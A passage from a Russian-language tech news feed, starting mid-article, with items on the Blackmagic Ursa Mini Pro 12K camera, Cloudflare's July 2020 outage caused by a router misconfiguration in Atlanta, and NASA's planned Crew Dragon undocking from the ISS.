Камера имеет встроенные светофильтры ND, двойные слоты под карты CFast и SD/UHS-II и порт расширения SuperSpeed USB-C 3.1 Gen 2, что обеспечивает более быструю передачу данных на внешние носители.

По словам представителей Blackmagic, дополнительные пиксели позволят получить более чистое изображение в 8K или 4K с помощью даунсамплинга. Кроме того, можно обрезать изображение в постпроизводстве без потери качества.

Программное обеспечение Blackmagic DaVinci Resolve может использоваться для редактирования 12K-кадров. Функция сжатия позволяет хранить версии видео в разрешении 4K, 6K и 8K одновременно.

Камеру выпустили вместе с приложением DaVinci Resolve Studio, которое позволяет монтировать, производить грейдинг и накладывать визуальные эффекты.

Blackmagic Ursa Mini Pro 12K стоит $9995.

См. также:

Let's block ads! (Why?)

Сервис Cloudflare был недоступен в течение получаса из-за ошибки в конфигурации маршрутизатора

17 июля 2020 года с 20:25 UTC (23:25 МСК) по 22:10 UTC (18 июля 02:10 МСК) в работе сервиса Cloudflare наблюдались проблемы по всему миру. Хотя специалисты Cloudflare смогли быстро разбираться в ситуации, но избежать прерывания глобальных сервисов им не удалось. Причем инцидент оказался достаточно серьезным — на полчаса пользователям оказались недоступны многие интернет-ресурсы, включая Discord, Valorant, Patreon, GitLab, Medium, Zendesk, Gematsu, Windows Central, Crunchyroll, многие игровые серверы (Riot Games, FIFA, Steam), Stream Labs и даже портал Downdetector.
Cloudflare заявила, что возникла проблема в доступности системы Cloudflare IP Resolver из-за ошибки в конфигурации маршрутизатора в магистральной сети компании, а не из-за атаки на сервис извне или нарушением внутренних систем безопасности.

Инциденту предшествовала аварийная ситуация — сначала произошел разрыв связи между дата-центрами Cloudflare в Ньюарке и Чикаго. Это привело к возникновению критической нагрузки на дата-центры Cloudflare в Атланте и Вашингтоне, округ Колумбия. Оперативно реагируя на эту ситуацию сетевой инженер Cloudflare обновил конфигурацию на маршрутизаторе глобальной магистрали в Атланте, чтобы уменьшить и перераспределить нагрузку на узлы системы. Однако, оказалось, что в новой конфигурации маршрутизатора была допущена ошибка (вместо удаления маршрутов Атланты из магистрали было прописано пропускать все маршруты BGP в магистраль), поэтому он стал ресолвить неверные маршруты после прерывания связи с частью дата-центров. Именно это привело к недоступности некоторых частей сети и прерыванию многих сервисов.

Специалисты Cloudflare поняли, что что-то пошло не так в их сети из-за сбоя в работе маршрутизатора в Атланте, они изолировали это устройство из рабочей сети и перенаправили трафик сервиса по корректным маршрутам. Через некоторое время работа Cloudflare была полностью восстановлена.

We isolated the Atlanta router and shut down our backbone, routing traffic across transit providers instead. There was some congestion that caused slow performance on some links as the logging caught up. Everything is restored now and we're looking into the root cause. 2/2

— Matthew Prince (@eastdakota) July 17, 2020

Cloudflare заявила, что сожалеет об этом неумышленном сбое. Специалисты компании внесли все необходимые изменения в конфигурацию сетевого оборудования, чтобы предотвратить повторное возникновение этой проблемы.

Let's block ads! (Why?)

НАСА планирует 1 августа провести процедуру отстыковки пилотируемого корабля Crew Dragon от МКС

Астронавты Боб Бенкен (Bob Behnken) и Дуг Херли (Doug Hurley) на борту МКС.

17 июля 2020 года глава НАСА Джим Брайденстайн (Jim Bridenstine) написал в Twitter, что 1 августа 20:00 ET (2 августа, 03:00 МСК) планируется провести процедуру отстыковки пилотируемого корабля Crew Dragon от МКС. Посадка корабля компании SpaceX запланирована на 2 августа 15:00 ET (22:00 МСК). По требованию НАСА капсула Crew Dragon с экипажем должна совершить посадку на воду, поэтому погодные условия во время его возвращения с орбиты имеют крайне важное значение. Возможно, что эти даты еще будут скорректированы.
Экипаж первого пилотируемого космического корабля Crew Dragon по традиции дал ему имя. Они назвали его Endeavor (стремление, прорыв). Кстати, так назывался шаттл, на котором ранее Бенкен и Херли совершили свои полеты в 2010 и 2011 году. Полет шаттла «Индевор» был предпоследним в программе Спейс шаттл, в которой последним стал полет шаттла «Атлантис» 8 июля 2011 года с Херли на борту.

В настоящее время астронавты Бенкен и Херли, прибыв на МКС 31 мая 2020 года, являются полноценными членами экипажа станции. Они там работают вместе с находящимся сейчас на орбите американцем Крисом Кэссиди и россиянами Анатолием Иванишиным и Иваном Вагнером.

Ранее планировалось, что Бенкен и Херли проведут на станции две недели, но этот срок НАСА увеличило, в том числе из-за проблем с тестированием и запуском к МКС конкурента SpaceX — корабля Starliner производства Boeing. Хотя в этом тестовом полете есть ограничение — он планировался на срок миссии не более 100 суток, но может по факту может оказаться менее 60 суток. Однако, полноценный действующий космический корабль Crew Dragon после всех необходимых сертификаций будет способен оставаться на орбите в течение как минимум 210 суток, как того требует НАСА.

Конфигурация МКС на 31 мая 2020.

Кстати, сейчас на МКС отмечают 45-тилетие легендарной стыковки советского «Союза» с американским «Аполлоном». Именно тогда впервые в космосе встретились астронавты Томас Стаффорд и Дональд Слэйтон и российские космонавты Алексей Леонов и Валерий Кубасов.

См. также:

Let's block ads! (Why?)